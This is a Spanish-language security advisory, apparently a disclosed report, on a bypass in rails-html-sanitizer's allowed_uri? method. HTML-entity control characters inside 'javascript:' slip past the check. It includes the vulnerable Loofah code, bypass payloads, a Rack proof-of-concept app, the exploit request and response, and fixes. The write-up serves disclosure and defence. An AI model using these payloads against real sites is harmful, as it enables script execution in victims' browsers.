Resumen
La gema rails-html-sanitizer (probado en la versión 1.7.0) tiene un método público, Rails::HTML::Sanitizer.allowed_uri?, que sirve para decidir si una cadena se puede usar sin peligro como valor de un atributo URI, como href. El fallo está en ese método: si el esquema javascript: se parte con un carácter de control escrito como entidad HTML, el método devuelve true y lo da por seguro.
Algunos valores que devolvían true:
java script:alert(1)
java script:alert(1)
jav	ascript:alert(1)
Al pintar uno de estos valores en un href, el navegador decodifica la entidad, elimina el retorno de carro, el salto de línea o el tabulador, y lo que queda es un enlace javascript: que se ejecuta al hacer clic.
Hay que precisar el alcance: el saneado normal con sanitize(...) no está afectado. El problema solo afecta a quien llama directamente a allowed_uri? y se fía de lo que devuelve.
Dónde está el fallo
El método de Rails delega en Loofah:
# lib/rails/html/sanitizer.rb
def allowed_uri?(uri_string)
Loofah::HTML5::Scrub.allowed_uri?(uri_string)
end
# loofah/lib/loofah/html5/scrub.rb
def allowed_uri?(uri_string)
val_unescaped = CGI.unescapeHTML(uri_string.gsub(CONTROL_CHARACTERS, "")).gsub(":", ":").downcase
if URI_PROTOCOL_REGEX.match?(val_unescaped)
protocol = val_unescaped.split(SafeList::PROTOCOL_SEPARATOR)[0]
return false unless SafeList::ALLOWED_PROTOCOLS.include?(protocol)
end
true
end
El problema es el orden de las operaciones. Primero se quitan los caracteres de control literales y después se decodifican las entidades HTML. Con java script:... no hay ningún carácter de control literal que quitar. Al decodificar queda java\rscript:..., con el carácter de control ya dentro, y el método devuelve true. El navegador, en cambio, normaliza el valor y lo interpreta como javascript:.
El propio código de Loofah describe el método como una comprobación de seguridad: «Returns true if the given URI string is safe, false otherwise». Por eso un falso true rompe lo que promete.
Pasos de reproducción
- Instala
rails-html-sanitizer1.7.0 y ejecuta esta comprobación mínima:
require "rails-html-sanitizer"
puts Rails::HTML::Sanitizer.allowed_uri?("java script:alert(1)")
puts Rails::HTML::Sanitizer.allowed_uri?("java script:alert(1)")
puts Rails::HTML::Sanitizer.allowed_uri?("jav	ascript:alert(1)")
Las tres llamadas imprimen true.
- Comprueba que el saneado normal sí funciona, para descartar que el fallo esté ahí:
require "rails-html-sanitizer"
san = Rails::HTML5::SafeListSanitizer.new
puts san.sanitize('<a href="java script:alert(1)">x</a>')
Devuelve <a>x</a>: el href desaparece.
- Para verlo en un caso realista, levanta esta aplicación Rack mínima. Recibe un parámetro
next, lo valida conallowed_uri?y, si pasa, pinta un enlace «Continue»:
require "rack"
require "rails-html-sanitizer"
app = lambda do |env|
req = Rack::Request.new(env)
case [req.request_method, req.path_info]
when ["GET", "/"]
next_url = req.params["next"].to_s
next_url = "java script:document.title='owned';document.body.innerText='EXECUTED';void(0)" if next_url.empty?
allowed = Rails::HTML::Sanitizer.allowed_uri?(next_url)
body = <<~HTML
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>allowed-uri-e2e</title>
</head>
<body>
<h1>Continue</h1>
<pre id="meta">allowed=#{allowed.inspect}\nnext=#{next_url.inspect}</pre>
#{allowed ? %(<a id="continue" href="#{next_url}">Continue</a>) : %(<p id="blocked">Blocked</p>)}
</body>
</html>
HTML
[200, { "content-type" => "text/html; charset=utf-8" }, [body]]
else
[404, { "content-type" => "text/plain; charset=utf-8" }, ["not found"]]
end
end
run app
- Envíale el valor malicioso en
next:
GET /?next=java%26%2313%3Bscript%3Adocument.title%3D%27owned%27%3Bdocument.body.innerText%3D%27EXECUTED%27%3Bvoid(0) HTTP/1.1
Host: 127.0.0.1:9442
User-Agent: curl/8.7.1
Accept: */*
- La respuesta muestra
allowed=truey el enlace sale tal cual:
HTTP/1.1 200 OK
content-type: text/html; charset=utf-8
content-length: 520
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>allowed-uri-e2e</title>
</head>
<body>
<h1>Continue</h1>
<pre id="meta">allowed=true
next="java script:document.title='owned';document.body.innerText='EXECUTED';void(0)"</pre>
<a id="continue" href="java script:document.title='owned';document.body.innerText='EXECUTED';void(0)">Continue</a>
</body>
</html>
- Abre la página en Chrome. El DOM normaliza el enlace así:
attr = "java\\rscript:document.title='owned';document.body.innerText='EXECUTED';void(0)"
href = "javascript:document.title='owned';document.body.innerText='EXECUTED';void(0)"
protocol = "javascript:"
- Pulsa «Continue». El código se ejecuta y la página cambia:
document.title = "owned"
document.body.innerText = "EXECUTED"
El investigador adjuntó también una captura con el mismo resultado usando alert('test').
Impacto
No es un XSS automático en cualquier aplicación Rails. Para que se pueda explotar tienen que darse tres condiciones:
- La aplicación valida una URL que controla el usuario con
Rails::HTML::Sanitizer.allowed_uri?. - Si la validación pasa, pinta esa URL en un
hrefu otro atributo que el navegador trate como URI. - La víctima pulsa el enlace.
Si se cumplen, el atacante consigue ejecutar JavaScript en el navegador de la víctima cuando hace clic. Según el reporte, con eso podría robar tokens o datos de la página en los flujos afectados, hacer acciones en la sesión de la víctima o abusar del enlace de «continuar» para phishing.
Remediación
El reporte no detalla qué cambio se publicó ni en qué versión. Lo que propuso el investigador fue:
- decodificar las entidades HTML antes del último paso que elimina los caracteres de control, o
- volver a quitar los caracteres de control después de decodificar, antes de comprobar el protocolo.
Y añadir pruebas de regresión con java script:..., java script:... y jav	ascript:....
Qué aprender de este caso
- En cualquier función que limpie una URL, mira el orden de los pasos: si normaliza (quita espacios o caracteres de control) antes de decodificar entidades o porcentajes, lo que aparezca al decodificar se salta la limpieza. Prueba con
	, y metidos dentro dejavascript. - Fíjate en qué devuelve la función cuando no reconoce el esquema. Aquí el valor por defecto era
true. Es más seguro usar una lista blanca que exijahttp:,https:o una ruta relativa y rechace todo lo demás. - Un método de validación suelto no equivale al saneador completo:
sanitize(...)quitaba elhref, peroallowed_uri?lo daba por bueno. Si tu código usa estos ayudantes para parámetros de continuación o redirección comonext, pruébalos por separado con los mismos payloads. - Para validar URLs de usuario, es más fiable parsearlas como lo haría el navegador (con un parser que siga el estándar WHATWG URL) y comprobar el protocolo resultante que limpiar la cadena con expresiones regulares.